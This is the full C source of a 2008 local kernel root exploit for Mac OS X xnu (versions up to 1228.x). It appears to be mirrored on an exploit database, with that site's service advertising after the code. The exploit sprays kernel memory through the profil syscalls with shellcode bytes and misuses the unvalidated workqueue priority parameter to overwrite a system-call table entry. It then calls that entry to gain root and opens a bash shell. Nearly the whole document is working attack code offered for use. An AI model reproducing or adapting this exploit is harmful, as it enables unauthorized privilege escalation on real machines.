/* xnu-workq-v2-64.c
*
* Copyright (c) 2008 by <[email protected]>
*
* Apple MACOS X xnu <= 1228.9.59 local kernel root exploit
* by mu-b - Sat 16 Feb 2008
*
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
*
* workqueue_additem and workqueue_removeitem do no validate the
* user defineable parameter prio.
* (bsd/kern/pthread_synch.c)
*
* Note: this requires quite a large amount of memory for the heap spray!
*
* Compile: gcc -Wall -O0 -m64 xnu-workq-v2-64.c -o xnu-workq-v2-64
* (compile 64-bit ONLY)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
/* profil defines */
#define PROFIL_ITEM_SIZE 64
#define PROFIL_BLK_SIZE 65536
#define PROFIL_BLK_NUM 84
/* workq defines */
#define WQOPS_QUEUE_ADD 1
#define WORKQUEUE_PRIOS_MIN -2
#define WORKQUEUE_PRIOS_MAX 2
/* overwrite defines */
#define WL_LIST_BASE 0x05600000
#define WL_LIST_ACCESS 0x09000060
#define WILIST_PTR 0x10000044
#define WIITEM_PTR 0x18000044
struct workq_item {
void *_pad[2];
void *func;
void *__pad[2];
};
struct workq_ops_args {
int options;
void *item;
int prio;
};
static struct targets {
const char *name;
int auth_addr; /* kauth_cred_get */
int sys_addr; /* sysent, &__mac_getfsstat */
} targets_t[] = {
{ "root:xnu-1228~1/RELEASE_I386", 0x0035F492, 0x00503F90 + 4 },
{ "root:xnu-1228.0.2~1/RELEASE_I386", 0x0035F429, 0x00504F90 + 4 },
{ "root:xnu-1228.3.13~1/RELEASE_I386", 0x0036094C, 0x00506F90 + 4 },
{ NULL, 0, 0 },
};
void
_dummy (void)
{
while (1);
}
int
main (int argc, char **argv)
{
struct workq_ops_args req;
struct workq_item workq;
struct utsname p_uname;
int auth_addr, sys_addr;
char buf[1024], *ptr;
int id, i, n;
printf ("Apple MACOS X xnu <= 1228.3.13 local kernel root/DoS exploit\n"
"by: <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
auth_addr = 0;
sys_addr = 0;
uname (&p_uname);
ptr = strrchr (p_uname.version, ' ') + 1;
for (i = 0; targets_t[i].name; i++)
if (strcmp (targets_t[i].name, ptr) == 0)
{
auth_addr = targets_t[i].auth_addr;
sys_addr = targets_t[i].sys_addr;
break;
}
if (targets_t[i].name == NULL)
{
fprintf (stderr, "%s: unsupported xnu version found :( [%s]\n",
argv[0], ptr);
exit (EXIT_FAILURE);
}
printf ("* opening work queue, pid: %d...", getpid ());
if ((n = syscall (SYS_workq_open, NULL)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_workq_open]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n\n");
printf ("* beginning spraying...\n");
printf ("** opening profil, pid: %d...", getpid ());
if ((n = syscall (SYS_profil, buf, sizeof buf, 0, 1)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
printf ("* filling %d-bytes of kernel memory...\n", PROFIL_BLK_NUM * PROFIL_BLK_SIZE * PROFIL_ITEM_SIZE);
printf ("** filling workitemlist pointers...\n");
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
arg1 = (void *) ((((long) WILIST_PTR) << 32) | WILIST_PTR);
arg2 = (void *) 0xE4E5E6E7E0E1E2E3;
arg3 = (void *) 0xF4F5F6F7F0F1F2F3;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n\n");
printf ("** filling %d workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
/* 0X4(edx) (edx) */
/* eax ecx */
arg1 = (void *) ((((long) sys_addr) << 32) | WIITEM_PTR);
arg2 = (void *) 0xDEADBE03DEADBE02;
arg3 = (void *) 0xDEADBE05DEADBE04;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0x0);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n\n");
printf ("** filling %d next workitem elements...\n", (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3);
fflush (stdout);
for (i = 0; i < (PROFIL_BLK_SIZE * PROFIL_BLK_NUM) / 3; i++)
{
void *arg1, *arg2, *arg3;
arg1 = (void *) 0x0000000004EB9090;
arg2 = (void *) ((((long) auth_addr) << 32) | 0xB8E58955);
arg3 = (void *) 0xC9105089D231D0FF;
n = syscall (SYS_add_profil, arg1, arg2, arg3, 0xCCC3);
if (n < 0)
{
fprintf (stderr, "%s: syscall [SYS_add_profil]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
if (!(i % 32))
printf ("** %d-bytes filled\r", i * 64);
}
printf ("\n** done\n* done\n\n");
printf ("* adding dummy workq to lists...\n");
memset (&workq, 0, sizeof workq);
workq._pad[0] = buf;
workq._pad[1] = buf;
workq.func = &_dummy;
workq.__pad[0] = buf;
workq.__pad[1] = buf;
for (i = WORKQUEUE_PRIOS_MIN; i <= WORKQUEUE_PRIOS_MAX; i++)
{
memset (&req, 0, sizeof req);
req.options = WQOPS_QUEUE_ADD;
req.item = &workq;
req.prio = i;
printf ("** adding dummy worklist item: %d...", i);
if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
{
fprintf (stderr, "\n%s: syscall [SYS_workq_ops]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n");
}
printf ("* done\n\n");
sleep (1);
memset (&req, 0, sizeof req);
req.options = WQOPS_QUEUE_ADD;
req.item = (void *) 0xCAFEBABE;
req.prio = (WL_LIST_ACCESS - WL_LIST_BASE) / 16;
printf ("* overwriting @0x%08X with 0x%08X\n", sys_addr, WIITEM_PTR);
printf ("** req.prio: 0x%08X, access @~0x%08X [with offset: 0x%08X]\n",
req.prio, WL_LIST_ACCESS, WL_LIST_BASE);
sleep (1);
if ((n = syscall (SYS_workq_ops, req.options, req.item, req.prio)) < 0)
{
fprintf (stderr, "%s: syscall [SYS_workq_ops]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("* done\n\n");
printf ("* jumping....");
sleep (1);
if ((n = syscall (SYS___mac_getfsstat, 0, 0, 0, 0, 0)) == 0)
{
fprintf (stderr, "\n%s: syscall [SYS___mac_getfsstat]: failed: %d\n",
argv[0], n);
exit (EXIT_FAILURE);
}
printf ("done\n\n");
id = getuid ();
printf ("* getuid(): %d\n", id);
if (id == 0)
{
printf ("+Wh00t\n\n");
/* exec shell, for some reason execve doesn't work!?$! */
system ("/bin/bash");
}
else
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
return (EXIT_SUCCESS);
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation